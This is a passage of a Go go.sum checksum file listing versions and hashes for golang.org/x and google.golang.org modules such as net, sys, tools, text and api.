golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60= golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4= golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k= golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.40.0 h1:36e4zGLqU4yhjlmxEaagx2KuYbJq3EwY8K943ZsHcvg= golang.org/x/term v0.40.0/go.mod h1:w2P8uVp06p2iyKKuvXIm7N/y0UCRt3UfJTfZ7oOpglM= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk= golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc= golang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg= golang.org/x/tools/cmd/cover v0.1.0-deprecated h1:Rwy+mWYz6loAF+LnG1jHG/JWMHRMMC2/1XX3Ejkx9lA= golang.org/x/tools/cmd/cover v0.1.0-deprecated/go.mod h1:hMDiIvlpN1NoVgmjLjUJE9tMHyxHjFX7RuQ+rW12mSA= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.6/go.mod 